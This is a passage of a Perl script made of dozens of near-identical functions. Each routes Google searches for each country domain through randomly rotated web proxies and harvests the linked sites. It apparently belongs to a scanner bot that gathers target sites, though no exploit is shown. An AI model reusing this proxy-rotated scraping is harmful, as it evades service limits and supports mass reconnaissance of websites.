    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.sn%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountrySN%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleSA() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.sa%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountrySA%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleQA() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.qa%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryQA%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googlePR() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.pr%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryPR%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googlePE() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.pe%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryPE%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googlePY() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.py%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryPY%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleNG() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.ng%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryNG%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleNP() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.np%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryNP%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleNR() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.nr%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryNR%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleNA() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.na%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryNA%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleMZ() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.mz%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryMZ%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleMT() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.mt%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryMT%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleMK() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.mk%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryMK%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleLY() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.ly%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryLY%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleLT() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.lt%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryLT%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleLV() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.lv%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryLV%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleLA() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.la%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryLA%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleKW() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.kw%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryKW%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleKE() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.co.ke%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryKE%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleIS() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.is%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryIS%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleHK() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.hk%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryHK%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleHN() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.hn%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryHN%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleGH() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.com.gh%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryGH%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleGE() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.ge%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryGE%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleFI() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.fi%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryFI%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}
    }
    return @list;
}

##################
##################
sub googleEE() {
 my @list;
    my $key = $_[0];
	my $proxy = "";
    for (my $i=0; $i<=1000; $i+=100){
		srand;
		$proxy = $webproxxxyy[rand @webproxxxyy];
		#&msg("$admin","(@googleca) buscando com: ".$proxy."");
        my $search = $proxy.'?q=https%3A%2F%2Fwww.google.ee%2Fsearch%3Fq%3D'.uri_escape($key).'%26hl%3D%26cr%3DcountryEE%26as_qdr%3D%26num%3D100%26filter%3D%26start%3D'.$i.'%26sa%3DN&hl=200';
        my $res = get_content($search);
		$res = uri_unescape($res);

        while ($res =~ m/url\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }

		if (!@list) {
		while ($res =~ m/php\?q=\"?http:\/\/([^\">]*)\"/g) {
		my $link = $1;
            if ($link !~ /google/){

                my @grep = links($link);
                push(@list,@grep);
            }
        }
		}

		if (!@list) {
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
